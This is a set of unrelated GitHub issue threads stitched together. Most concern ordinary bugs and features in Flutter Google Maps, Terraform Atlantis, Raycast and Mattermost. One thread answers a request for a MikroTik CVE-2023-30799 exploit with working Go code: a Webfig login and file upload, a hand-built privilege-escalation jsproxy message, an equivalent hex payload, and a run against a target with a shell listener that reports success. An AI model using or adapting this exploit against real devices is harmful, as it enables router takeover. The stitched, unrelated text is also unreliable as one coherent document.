Without additional information, we are unfortunately not sure how to resolve this issue. We are therefore reluctantly going to close this bug for now. Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.

I'm having the same issue. More details are

A function is added to onMapCreated for GoogleMap object.
In this function I wait for map controller to complete with Completer<GoogleMapController> _googleMapControllerCompleter = Completer(); and then call the function to update the camera of google map like below

_updateUserMarkerAndCamera(Position position) async {
    final GoogleMapController controller =
        await _googleMapControllerCompleter.future;
    userLocation = position;
    LatLng latLngPosition = LatLng(position.latitude, position.longitude);
    controller.animateCamera(
      CameraUpdate.newCameraPosition(
        CameraPosition(
          target: latLngPosition,
          zoom: kDefaultZoom,
        ),
      ),
    );
    //and some other logics
  }

Using this setup, the app works fine on android. However on iOS, this initial camera animation is not working INITIALLY. However after this initial phase like the above person reports, if user triggers some other actions like going to a different location, then this functions seems to work fine.
This seems to have something to do with the google map initialization it's my guess.
@iapicca @janmoppel  please consider reopen this ticket. Thanks

also, not only this doesn't work on ios simulator. This issue also happen in real app when deploy to device

Hi @monajafi @wakandan
if you are still experiencing the issue
with the latest stable version of flutter and the latest google maps plugin
please provide your updated  flutter doctor -v
and your flutter run --verbose?
Also, to better address the issue, would be helpful
if you could post  a minimal code sample
or the steps to reproduce the problem.
Thank you

Without additional information, we are unfortunately not sure how to resolve this issue. We are therefore reluctantly going to close this bug for now. Please don't hesitate to comment on the bug if you have any more information for us; we will reopen it right away!
Thanks for your contribution.
Could everyone who still has this problem please file a new issue with the exact descriptions what happens, logs and the output of 'flutter doctor -v'  please.
All system setups can be slightly different so its always better to open new issues and reference related issues.

this issue still happening in the latest library version

Hi @minamax1994
please provide your updated  flutter doctor -v,
your flutter run --verbose
and a reproducible minimal code sample?
Thank you

Having issue running the:
controller.animateCamera(CameraUpdate.newLatLngZoom(LatLng(0, 0), 2));
Getting this exception:
E/flutter (14223): [ERROR:flutter/lib/ui/ui_dart_state.cc(157)] Unhandled Exception: MissingPluginException(No implementation found for method camera#animate on channel plugins.flutter.io/google_maps_0)
flutter doctor -v:
[✓] Flutter (Channel stable, v1.12.13+hotfix.8, on Mac OS X 10.14.6 18G103, locale en-IN)
• Flutter version 1.12.13+hotfix.8 at /Users/paritosh/Documents/FlutterProjects/flutter
• Framework revision 0b8abb4724 (2 days ago), 2020-02-11 11:44:36 -0800
• Engine revision e1e6ced81d
• Dart version 2.7.0
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
• Android SDK at /Users/paritosh/Library/Android/sdk
• Android NDK location not configured (optional; useful for native profiling support)
• Platform android-29, build-tools 29.0.3
• Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)
• All Android licenses accepted.
[✓] Xcode - develop for iOS and macOS (Xcode 11.3.1)
• Xcode at /Applications/Xcode.app/Contents/Developer
• Xcode 11.3.1, Build version 11C504
• CocoaPods version 1.8.4
[✓] Android Studio (version 3.5)
• Android Studio at /Applications/Android Studio.app/Contents
• Flutter plugin version 43.0.1
• Dart plugin version 191.8593
• Java version OpenJDK Runtime Environment (build 1.8.0_202-release-1483-b49-5587405)
[✓] Connected device (1 available)
• Redmi 7 • cb8a6856 • android-arm64 • Android 9 (API 28)
• No issues found!
This is the code that i am trying:
static const LatLng _center = const LatLng(45.521563, -122.677433);
  Completer<GoogleMapController> _controller = Completer();

GoogleMap(
              initialCameraPosition: CameraPosition(
                target: _center,
                zoom: 11.0,
              ),
              onMapCreated: (GoogleMapController controller) {
                _controller.complete(controller);
              },
            )

And on page change i am calling these function:
Future<void> _goToPosition1(int Page) async {     GoogleMapController controller = await _controller.future;     controller.animateCamera(CameraUpdate.newLatLngZoom(LatLng(0, 0), 2));   }

A rather ugly workaround for me was to put the animateCamera-call into a Timer with 500ms delay
// location is a LatLng object
Timer(Duration(milliseconds: 500), () async {
      await controller.animateCamera(CameraUpdate.newCameraPosition(CameraPosition(target: location, zoom: 10.1)));
});

It's disappointing to see problems like this with more than a year old and without a correction.

I can reproduce it on an iOS simulator and partially on a physical device
The main issue is animate camera work inside onMapCreated, you can call the same code after the map is created from a button or something, it works fine.

Simulator often doesn't work

iOS Physical doesn't work in the first run but when hot reload, it seems to work

Works on Android

[ Simulator
iOS Physical
Android

code sample
import 'dart:async';

import 'package:flutter/material.dart';
import 'package:google_maps_flutter/google_maps_flutter.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Google Maps Demo',
      home: MapSample(),
    );
  }
}

class MapSample extends StatefulWidget {
  @override
  State<MapSample> createState() => MapSampleState();
}

class MapSampleState extends State<MapSample> {
  Completer<GoogleMapController> _controller = Completer();

  static final CameraPosition _kGooglePlex = CameraPosition(
    target: LatLng(0, 0),
    zoom: 1,
  );

  static final CameraPosition _kLake = CameraPosition(
      bearing:<PHONE_NUMBER>395799,
      target: LatLng(37.43296265331129, -122.08832357078792),
      tilt: 59.440717697143555,
      zoom: 19.151926040649414);

  @override
  Widget build(BuildContext context) {
    return new Scaffold(
      body: GoogleMap(
        mapType: MapType.normal,
        initialCameraPosition: _kGooglePlex,
        onMapCreated: (GoogleMapController controller) {
          _controller.complete(controller);

          controller.animateCamera(CameraUpdate.newCameraPosition(_kLake));
        },
      ),
    );
  }
}

flutter doctor -v
[✓] Flutter (Channel stable, 1.22.4, on macOS 11.0.1 20B29 darwin-x64, locale
    en-GB)
    • Flutter version 1.22.4 at /Users/tahatesser/Code/flutter_stable
    • Framework revision 1aafb3a8b9 (5 days ago), 2020-11-13 09:59:28 -0800
    • Engine revision 2c956a31c0
    • Dart version 2.10.4

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.2)
    • Android SDK at /Users/tahatesser/Code/sdk
    • Platform android-30, build-tools 30.0.2
    • ANDROID_HOME = /Users/tahatesser/Code/sdk
    • Java binary at: /Applications/Android
      Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 12.2)
    • Xcode at /Volumes/Extreme/Xcode.app/Contents/Developer
    • Xcode 12.2, Build version 12B45b
    • CocoaPods version 1.10.0

[!] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    ✗ Flutter plugin not installed; this adds Flutter specific functionality.
    ✗ Dart plugin not installed; this adds Dart specific functionality.
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)

[✓] VS Code (version 1.51.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.16.0

[✓] Connected device (2 available)
    • sdk gphone x86 (mobile) • emulator-5554             • android-x86 •
      Android 11 (API 30) (emulator)
    • Taha’s iPhone (mobile)  • 00008020-001059882212002E • ios         • iOS
      14.2

! Doctor found issues in 1 category.

A rather ugly workaround for me was to put the animateCamera-call into a Timer with 500ms delay
// location is a LatLng object
Timer(Duration(milliseconds: 500), () async {
      await controller.animateCamera(CameraUpdate.newCameraPosition(CameraPosition(target: location, zoom: 10.1)));
});

This works for me ! Thank you !

I can confirm the issue persist, it also reproduces after hot-reload on physical

flutter doctor -v
[✓] Flutter (Channel stable, 2.0.5, on macOS 11.2.3 20D91 darwin-x64, locale
    en-GB)
    • Flutter version 2.0.5 at /Users/tahatesser/Code/flutter_stable
    • Framework revision adc687823a (6 days ago), 2021-04-16 09:40:20 -0700
    • Engine revision b09f014e96
    • Dart version 2.12.3

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
    • Android SDK at /Volumes/Extreme/SDK
    • Platform android-30, build-tools 30.0.3
    • ANDROID_HOME = /Volumes/Extreme/SDK
    • Java binary at: /Applications/Android
      Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Volumes/Extreme/Xcode.app/Contents/Developer
    • Xcode 12.4, Build version 12D4e
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)

[✓] VS Code (version 1.55.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (3 available)
    • Taha’s iPhone (mobile) • 00008020-001059882212002E • ios            • iOS
      14.4.2
    • macOS (desktop)        • macos                     • darwin-x64     •
      macOS 11.2.3 20D91 darwin-x64
    • Chrome (web)           • chrome                    • web-javascript •
      Google Chrome 90.0.4430.85

• No issues found!

[✓] Flutter (Channel master, 2.2.0-11.0.pre.215, on macOS 11.2.3 20D91
    darwin-x64, locale en-GB)
    • Flutter version 2.2.0-11.0.pre.215 at
      /Users/tahatesser/Code/flutter_master
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 5865c14d67 (7 hours ago), 2021-04-22 06:44:03 +0200
    • Engine revision 7e69744ede
    • Dart version 2.14.0 (build 2.14.0-18.0.dev)

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
    • Android SDK at /Volumes/Extreme/SDK
    • Platform android-30, build-tools 30.0.3
    • ANDROID_HOME = /Volumes/Extreme/SDK
    • Java binary at: /Applications/Android
      Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Volumes/Extreme/Xcode.app/Contents/Developer
    • Xcode 12.4, Build version 12D4e
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6915495)

[!] IntelliJ IDEA Community Edition (version unknown)
    ✗ Invalid IntelliJ version number.

[✓] VS Code (version 1.55.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (3 available)
    • Taha’s iPhone (mobile) • 00008020-001059882212002E • ios            • iOS
      14.4.2
    • macOS (desktop)        • macos                     • darwin-x64     •
      macOS 11.2.3 20D91 darwin-x64
    • Chrome (web)           • chrome                    • web-javascript •
      Google Chrome 90.0.4430.85

! Doctor found issues in 1 category.

In my case, it was due to mapController not being properly disposed when switching between routes, just adding a mapController.dispose() in the Stateful widget dispose override containing GoogleMap , solved the problem.

@accurithm what does animateCamera has to do with disposing(that is the last part which will be called when map screen will be closed) ?? and writing mapController in dispose method did not work on mine.

A rather ugly workaround for me was to put the animateCamera-call into a Timer with 500ms delay
// location is a LatLng object
Timer(Duration(milliseconds: 500), () async {
      await controller.animateCamera(CameraUpdate.newCameraPosition(CameraPosition(target: location, zoom: 10.1)));
});

Any updates on this I would really like to remove this delay hack from my app

Also still having this issue, the Timer fix works, but it's not nice...

Still waiting for solve this issue

▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬
 E L E G A N T  D O T
▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬

Experiencing same issue here

I have the same issue


ads: Fix cluster remains not-initialized when eds is removed and then added.

Risk Level: Low
Testing:
Added unit test that fails before the patch and passes after.
Fixes #3355

the ipv6_tests seems like a flake:
fatal: unable to access 'https://go.googlesource.com/net/': Failed to connect to go.googlesource.com port 443: Network is unreachable
how can I restart the test?

There is something broken with IPv6 CI: https://github.com/envoyproxy/envoy/issues/3370


Allow custom ALB Security Group rules

Currently the module creates ALB with a security group that's opened towards the world.
Would be nice to be able to provide custom rules or even our own SG so we can restrict that access.
At the moment you only allow this if we choose to not create ALB:
create_alb            = false
We'd still like to handle the ALB through the module, just have a custom SG.

this is already supported today - we provide default values but users should specify their required security_group_ingress_rules to suite their needs. You can also provide your own security groups via security_groups

You haven't provided much, if any, information - this is what I went off of Currently the module creates ALB with a security group that's opened towards the world.
What I showed above is that we do support both setting custom security group rules, custom security groups, and replacing the default rules provided by the module. If you would like any further assistance, please provide a reproduction so we can properly triage and troubleshoot

If I use this module for Atlantis, I'd probably provide a configuration like the one below:
module "atlantis" {
  source  = "terraform-aws-modules/atlantis/aws"

  name = "atlantis"

  # ECS Container Definition
  atlantis = {
    environment = [
      {
        name  = "ATLANTIS_GH_USER"
        value = "myuser"
      },
      {
        name  = "ATLANTIS_REPO_ALLOWLIST"
        value = "github.com/terraform-aws-modules/*"
      },
    ]
    secrets = [
      {
        name      = "ATLANTIS_GH_TOKEN"
        valueFrom = "arn:aws:secretsmanager:eu-west-1:111122223333:secret:aes256-7g8H9i"
      },
      {
        name      = "ATLANTIS_GH_WEBHOOK_SECRET"
        valueFrom = "arn:aws:secretsmanager:eu-west-1:111122223333:secret:aes192-4D5e6F"
      },
    ]
  }

  # ECS Service
  service = {
    task_exec_secret_arns = [
      "arn:aws:secretsmanager:eu-west-1:111122223333:secret:aes256-7g8H9i",
      "arn:aws:secretsmanager:eu-west-1:111122223333:secret:aes192-4D5e6F",
    ]
    # Provide Atlantis permission necessary to create/destroy resources
    tasks_iam_role_policies = {
      AdministratorAccess = "arn:aws:iam::aws:policy/AdministratorAccess"
    }
  }
  service_subnets = ["subnet-xyzde987", "subnet-slkjf456", "subnet-qeiru789"]
  vpc_id          = "vpc-1234556abcdef"

  # ALB
  alb_subnets             = ["subnet-abcde012", "subnet-bcde012a", "subnet-fghi345a"]
  certificate_domain_name = "example.com"
  route53_zone_id         = "Z2ES7B9AZ6SHAE"

  tags = {
    Environment = "dev"
    Terraform   = "true"
  }
}

This code would create the ALB along with the Security Group for the ALB, not allowing an option to provide security group rules. Right?
From your documentation, the only scenario where I can provide a custom Security Group is by using the following block:
  create_alb            = false
  alb_target_group_arn  = "arn:aws:elasticloadbalancing:eu-west-1:1234567890:targetgroup/bluegreentarget1/209a844cd01825a4"
  alb_security_group_id = "sg-12345678"

which would also mean that the module will not create the ALB.
My question is, is there a scenario where the module will create the ALB and also allow me to provide the Security Group or Security Group rules for the same?

and as I have stated, yes:
module "atlantis" {
  source = "terraform-aws-modules/atlantis/aws"

  ...

  alb = {
    security_groups = {
      example = "sg-1234567890"
    }
    security_group_ingress_rules = {
      http = {
        from_port   = 1234
        to_port     = 1234
        ip_protocol = "tcp"
        cidr_ipv4   = "<IP_ADDRESS>/24"
      }
    }
    security_group_egress_rules = {
      all = {
        ip_protocol = "-1"
        cidr_ipv4   = "<IP_ADDRESS>/16"
      }
    }
  }
}

Got it, thx.


Questions about customizing RenderView.

Is there an existing issue for this?

[x] I have searched the existing issues
[X] I have read the guide to filing a bug

Use case
I need to customize RenderView and handle some things in compositeFrame method:

class CustomRenderView extends RenderView {
  CustomRenderView({
    ...
    required super.view,
  }) : _view = view;

  final ui.FlutterView _view;

  @override
  void compositeFrame() {
    ...
    try {
      ...
      if (automaticSystemUiAdjustment) {
        _updateSystemChrome();
        _doSomething();
      }
      ...
    } finally {
     ...
    }
  }

  void _updateSystemChrome() {
    // ...
  }

  void _doSomething() {
    // ...
  }
}

Before Flutter 3.16.0
I use CustomRenderView like this:
void main() {
  WidgetsFlutterBinding.ensureInitialized();
  WidgetsBinding.instance
    ..renderView = CustomRenderView(
      configuration: WidgetsBinding.instance.createViewConfiguration(),
      view: PlatformDispatcher.instance.implicitView!,
    )
    ..renderView.prepareInitialFrame();

  ...
}

In Flutter 3.16.0
I use CustomRenderView like this:
void main() {
  final binding = WidgetsFlutterBinding.ensureInitialized();
  final flutterView = binding.platformDispatcher.implicitView!;
  // ignore: deprecated_member_use
  final pipelineOwner = binding.pipelineOwner;
  final renderView = CustomRenderView(view: flutterView);
  final root = View(
    view: flutterView,
    // ignore: deprecated_member_use
    deprecatedDoNotUseWillBeRemovedWithoutNoticePipelineOwner: pipelineOwner,
    // ignore: deprecated_member_use
    deprecatedDoNotUseWillBeRemovedWithoutNoticeRenderView: renderView,
    child: const MyApp(),
  );
  Timer.run(() => binding.attachRootWidget(root));
  binding.scheduleWarmUpFrame();

  ...
}

The PipelineOwner and RenderView parameters of the View class have been deprecated. How should I use CustomRenderView in the future?
Proposal
The View class add renderViewCreator for creating custom RenderView:
View({
  super.key,
  required this.view,
  RenderView Function()? renderViewCreator,
  required this.child,
})

Related PR https://github.com/flutter/flutter/pull/125003 and design doc: flutter.dev/go/multiple-views.

If you want to use your own custom render object you'll also have to implement your own custom widget that manages that render object. Flutter doesn't support replacing RenderObjects of widgets and we don't plan to enable that. I am going to close this.
(In general, its better to open issues describing a problem, not a solution)


Hide "collapsed: true" markers

One more suggestion.  LogSeq litters outlines with properties to mark the collapsed status of nodes.  It would be nice if they were hidden in Obsidian - or tagged with a class so that they could be optionally hidden.

This would be great to have. Hope you guys would look into this


[Question] How to get the following result ?

Is it possible to remove line breaks, comments, and extra spaces from a non formatted sql ?
INPUT:

OUTPUT:

SELECT * FROM clients WHERE UPPER(first_name) LIKE('A%') AND UPPER(last_name) LIKE('F%') AND salary > 5000 AND phone = 123456;

Nope, that's currently not supported.
As the purpose of this lib is to perform formatting, stripping formatting is currently out of scope.

Nope, that's currently not supported.
As the purpose of this lib is to perform formatting, stripping formatting is currently out of scope.


Add a toggle for question skipping

This is especially useful for multiplayer, where two people pressing next at once can cause a question to be skipped.

How would you be able to advance the question? In particular, would people only be able to skip questions when the toggle is on / when someone gets the question right.

The way protobowl manages this is there is a timer for the tossup to go dead, and the question can be advanced after it goes dead, someone gets it correct, or everyone gets it wrong (if no multi-buzzing).
A simpler way to do this, without a timer, would be to make it so anyone can advance the question once the tossup is finished being read.
Just no skipping while the question is still being read.
It wouldn't be as foolproof against accidental skips, but I think it would be much easier to implement, and more intuitive to users, than a timer system.

That sounds great—I'll implement something like this first, and figure out the timer later (#121). In the same vein, if there are no rebuzzes on, it could be a useful idea to automatically show the question if everyone has buzzed incorrectly on the tossup.


2dpathfinder freezes the game

If points are in direct sight of each other, it works, but if it has to make a turn, it freezes the game
I made a small scene where it happens:
http://speedy.sh/Dyr3u/pathfinder.tar.bz2
forum reference:
http://www.godotengine.org/forum/viewtopic.php?f=11&t=625&start=10#p2788

The link to the test scene is dead so I can't use it to try to reproduce, but as the 2D pathfinding demo works just fine, I guess this issue has been fixed.

We found the bug again, it happens on some Android devices
here our code
https://github.com/Luraktinus/EN_/tree/Test


fix napari install

IMPORTANT: Please search among the Pull requests before creating one.
Description

How has this been tested?

Closes

Codecov Report

Merging #767 (5dab87d) into main (412f02c) will decrease coverage by 0.02%.
Report is 1 commits behind head on main.
The diff coverage is n/a.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #767      +/-   ##
==========================================
- Coverage   69.94%   69.92%   -0.02%
==========================================
  Files          39       39
  Lines        5476     5476
  Branches     1024     1018       -6
==========================================
- Hits         3830     3829       -1
  Misses       1358     1358
- Partials      288      289       +1

see 1 file with indirect coverage changes


[Obsidian] Instant search

Extension
https://www.raycast.com/marcjulian/obsidian
Description
It would be great to run an instant search with live text. My current workflow is to invoke the search, hit enter, then do a live search where I can see the results instantly. This helps when I don't remember the exact text I'm looking.
Of course one can bypass the search form screen with one-button press - it's just inconsistent with my other search app extension flows.
Who will benefit from this feature?
No response
Anything else?
No response

Hi @ggnall,
what exactly do you mean with this? Do you want to get to the search instantly without prior selection of a vault?
If yes, then you can add the path of your vault in the extensions preferences.
Invoking the Search Note command will then directly open the search for that specific vault.

I was comparing this to search behavior in other extensions, where I can do:

Open raycast

Type alias (e.g. bs for bear-search or ts for todoist search.

Press space

Raycast displays a list of results immediately and updates as I type in the search query.

For this extension it looks like:

Open raycast

Type alias os for obsidian search

Press enter

Raycast displays a list of results. I can type in characters to search within.

It's not a big type (a single button press), but it find myself repeatedly pressing space and waiting for something to happen.
A bigger improvement would be to set a better default (or manually configured) sort on the results. Sometimes my most recent file is at the way bottom.
On Sat, Feb 04, 2023 at 8:08 AM, Marc Julian Schwarz < @.*** > wrote:

Hi @ ggnall ( https://github.com/ggnall ) ,
what exactly do you mean with this? Do you want to get to the search
instantly without prior selection of a vault?
If yes, then you can add the path of your vault in the extensions
preferences.
Invoking the Search Note command will then directly open the search for
that specific vault.
—
Reply to this email directly, view it on GitHub (
https://github.com/raycast/extensions/issues/4400#issuecomment-1416747325
) , or unsubscribe (
https://github.com/notifications/unsubscribe-auth/AA7KDBVEZM4CITNF2VALYQDWVZIE3ANCNFSM6AAAAAAUEMF3TM
).
You are receiving this because you were mentioned. Message ID: <raycast/extensions/issues/4400/1416747325
@ github. com>

Thank you for the clarification. This doesn't seem to work because of the search arguments. Would it solve your problem if I put the search arguments behind a preference checkbox? Then the search with spacebar should work.
Please open a new issue for the other improvement that you mentioned.

Would it solve your problem if I put the search arguments behind a preference checkbox?
Yes!

Please open a new issue for the other improvement that you mentioned.

Added this here https://github.com/raycast/extensions/issues/4635


Help for mikrotik

I cant build the 'msg.go' and 'webfig.go'.
I want know how to support CVE-2023-30799 in Mips?
Can Sharing?

I can't share our implementation, as it's part of a commercial offering. However, I can explain how to use msg.go and webfig.go.
To use this framework to exploit CVE-2023-30799, you'll need to create a main.go like this:
package main

import (
	"flag"

	"github.com/vulncheck-oss/go-exploit"
	"github.com/vulncheck-oss/go-exploit/c2"
	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
	"github.com/vulncheck-oss/go-exploit/protocol/mikrotik"
)

type MTFOISted struct{}

var (
	globalUsername string
	globalPassword string
)

func (sploit MTFOISted) ValidateTarget(conf *config.Config) bool {
	return true
}

func (sploit MTFOISted) CheckVersion(conf *config.Config) exploit.VersionCheckType {
	return exploit.NotImplemented
}

func (sploit MTFOISted) RunExploit(conf *config.Config) bool {

	var session mikrotik.WebfigSession
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/jsproxy")
	ok := mikrotik.NegotiateEncryption(url, &session)
	if !ok {
		return false
	}

	ok = mikrotik.Login(url, globalUsername, globalPassword, &session)
	if !ok {
		return false
	}

	output.PrintStatus("Uploading a file")
	if !mikrotik.FileUpload(url, "flash/uploaded", "filedata", &session) {
		return false
	}

	return true
}

func main() {
	flag.StringVar(&globalUsername, "user", "admin", "The user to login as")
	flag.StringVar(&globalPassword, "password", "", "The password to login with")

	supportedC2 := []c2.Impl{
		c2.SimpleShellServer,
	}
	conf := config.New(config.CodeExecution, supportedC2, "MikroTik", "CVE-2023-30799", 80)

	sploit := MTFOISted{}
	exploit.RunProgram(sploit, conf)
}

And you'll want a Makefile like:
all: format compile

format:
	go fmt

compile:
	go build

clean:
	go clean

And then to compile:
albinolobster@mournland:~/30799$ go mod init github.com/someuser/coolexploit
go: creating new go.mod: module github.com/someuser/coolexploit
go: to add module requirements and sums:
	go mod tidy
albinolobster@mournland:~/30799$ go mod tidy
go: finding module for package github.com/vulncheck-oss/go-exploit/config
go: finding module for package github.com/vulncheck-oss/go-exploit
go: finding module for package github.com/vulncheck-oss/go-exploit/c2
go: finding module for package github.com/vulncheck-oss/go-exploit/output
go: finding module for package github.com/vulncheck-oss/go-exploit/protocol
go: finding module for package github.com/vulncheck-oss/go-exploit/protocol/mikrotik
go: found github.com/vulncheck-oss/go-exploit in github.com/vulncheck-oss/go-exploit v1.0.11
go: found github.com/vulncheck-oss/go-exploit/c2 in github.com/vulncheck-oss/go-exploit v1.0.11
go: found github.com/vulncheck-oss/go-exploit/config in github.com/vulncheck-oss/go-exploit v1.0.11
go: found github.com/vulncheck-oss/go-exploit/output in github.com/vulncheck-oss/go-exploit v1.0.11
go: found github.com/vulncheck-oss/go-exploit/protocol in github.com/vulncheck-oss/go-exploit v1.0.11
go: found github.com/vulncheck-oss/go-exploit/protocol/mikrotik in github.com/vulncheck-oss/go-exploit v1.0.11
albinolobster@mournland:~/30799$ make
go fmt
go build
albinolobster@mournland:~/30799$

That gives you everything you need to authenticate to the Webfig and upload a file. For instance:
./coolexploit -e -rhost <IP_ADDRESS> -lhost <IP_ADDRESS> -lport 1270 -user admin -password labpass1
[*] Starting listener on <IP_ADDRESS>:1270
[*] Starting target 0: <IP_ADDRESS>:80
[*] Authenticated to a RB952Ui-5ac2nD
[*] Uploading a file
[*] Exploit successfully completed

Results in:

Of course, you'll need to know how to send/receive to jsproxy as well, so here is how the escalation message is crafted and sent:
func escalate(conf *config.Config, session *mikrotik.WebfigSession) bool {
	msg := mikrotik.NewM2Message()
	msg.AddU32Array(mikrotik.VarSysTo, []uint32{13, 2})
	msg.AddU32(mikrotik.VarCommand, 0xfe0003)
	msg.AddU32(mikrotik.VarSessionID, session.ID)
	msg.AddString(0xfe0009, []byte{})
	msg.AddU32(0xfe000c, 5)
	msg.AddU32(0xff0010, 1)
	msg.AddRaw(0xff0017, []byte{0, 28, 66, 4, 11, 73})
	msg.AddU32(0xfe0001, 3)
	msg.AddString(0x1, []byte("full"))
	msg.AddU32(2, 0xffffffff)
	msg.AddU32(3, 0)
	msg.AddU32(5, 0)

	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/jsproxy")
	resp, ok := mikrotik.SendEncrypted(url, msg, session)
	if !ok {
		return false
	}

	_, ok = resp.U32s[mikrotik.VarErrorCode]

	return !ok
}

That's maybe not as readable as MarginResearch's version:

    w = WebFig(args.host, args.username, args.password)

    if not use_json:
        msg = bytes.fromhex('4d320100ff8802000d000000020000000700ff080300fe000900fe21000c00fe09051000ff09011700ff3106001c42040b490100fe0903010000210466756c6c02000008ffffffff03000009000500000900')
        w.send_raw(msg)
    else:
        msg = "{Uff0001: [13, 2], uff0007: 16646147, sfe0009: '', ufe000c: 5, uff0010: 1, rff0017: [0, 28, 66, 4, 11, 73], ufe0001: 3, s1: 'full', u2:<PHONE_NUMBER>, u3: 0, u5: 0}"
        msg = msg.encode('ascii')
        w.send_json(msg)

But they are functionally identical and exactly the same on the wire (besides some ordering stuff).
So that's how you go about it.
Happy hacking!
30799.zip


Update unit tests to use pkg.go.dev/dies.dev

What this PR does / why we need it
Update unit tests to use pkg.go.dev/dies.dev for mocking runtime Objects.
Which issue(s) this PR fixes
Fixes #57
Describe testing done for PR

@scothis : Updated the PR with your comments. Please take a look


[Gekidou - MM-44645] Search Screen - show results from server

Summary
This PR search results component when are search has returns found files and posts.
Ticket Link
https://mattermost.atlassian.net/browse/MM-44645
Checklist

[ ] Added or updated unit tests (required for all new features)
[ ] Has UI changes
[ ] Includes text changes and localization file updates
[ ] Have tested against the 5 core themes to ensure consistency between them.

Device Information
This PR was tested on:
Screenshots

Release Note

The main structure for the search is in place. There are a few small things missing:

Finish the filters: We have already functions for video, images and documents, but we may need more. I think @jfrerich started a discussion on what extensions would be the correct ones for other filters, but not sure where that discussion led. Either way, can be added (or remove the option from the filter list) in a different PR.
Finish the search Options / recent searches component. Can be done in a different PR.
Finish the file card component. Can be done in a different PR.

The main structure for the search is in place. There are a few small things missing:
* Finish the filters: We have already functions for video, images and documents, but we may need more. I think @jfrerich started a discussion on what extensions would be the correct ones for other filters, but not sure where that discussion led. Either way, can be added (or remove the option from the filter list) in a different PR.

* Finish the search Options / recent searches component. Can be done in a different PR.

* Finish the file card component. Can be done in a different PR.

Ok, no problem to do subsequent PRs with all that functionality :)
Thanks for the summary

Finish the filters: We have already functions for video, images and documents, but we may need more. I think @jfrerich started a discussion on what extensions would be the correct ones for other filters, but not sure where that discussion led. Either way, can be added (or remove the option from the filter list) in a different PR.

This will be a redesign of the current methodolgy.  @elias and I looked at the webapp. When a filter is used, a new server request is submitted with a list of the extenstions ext:pdf ext:txt.  These extensions are going to be set by the filter and use the values found in https://github.com/mattermost/mattermost-mobile/pull/6314/files#diff-9d56fdfecccebf2ae6141e5a1b3811206673cae3dd47db7d87c7797fa75e3cbe
This can be another PR.

Finish the search Options / recent searches component. Can be done in a different PR.

This has been mostly completed and can be taken form https://github.com/mattermost/mattermost-mobile/pull/6182

WARN  An empty or undefined "posts" array or an non-supported actionType has been passed to the handlePostsInChannel method
ERROR  Diagnostic error: Record User#y9znuw1wh7fibftdiz3zq6j5ic not found

this does not seem to me that it should be bypassed.. most probably is cause we need to fetch the post author + any mentions in the post for the search results.
basically on app/actions/remote/search.ts line 156

WARN  An empty or undefined "posts" array or an non-supported actionType has been passed to the handlePostsInChannel method

The WARN is caused by searchPosts calling handlePosts without defining an actionType. I'm not yet sure how to handle this warning.

ERROR  Diagnostic error: Record User#y9znuw1wh7fibftdiz3zq6j5ic not found

this does not seem to me that it should be bypassed.. most probably is cause we need to fetch the post author + any mentions in the post for the search results.
basically on app/actions/remote/search.ts line 156

I tried the following to try and repro this several ways, but failed get the error.

adding a new user (userB) and posted some text to search (xyz) in another channel that does not have userA as a member.  Then had userA perform a search for xyz.
added userC. created a post xyz @userB in a channel and that also did not create the error.

I also noticed that a searching for xyz by userA will not return posts from other users in channels that of which userA is not also not a member.

ERROR  Diagnostic error: Record User#y9znuw1wh7fibftdiz3zq6j5ic not found

this does not seem to me that it should be bypassed.. most probably is cause we need to fetch the post author + any mentions in the post for the search results.

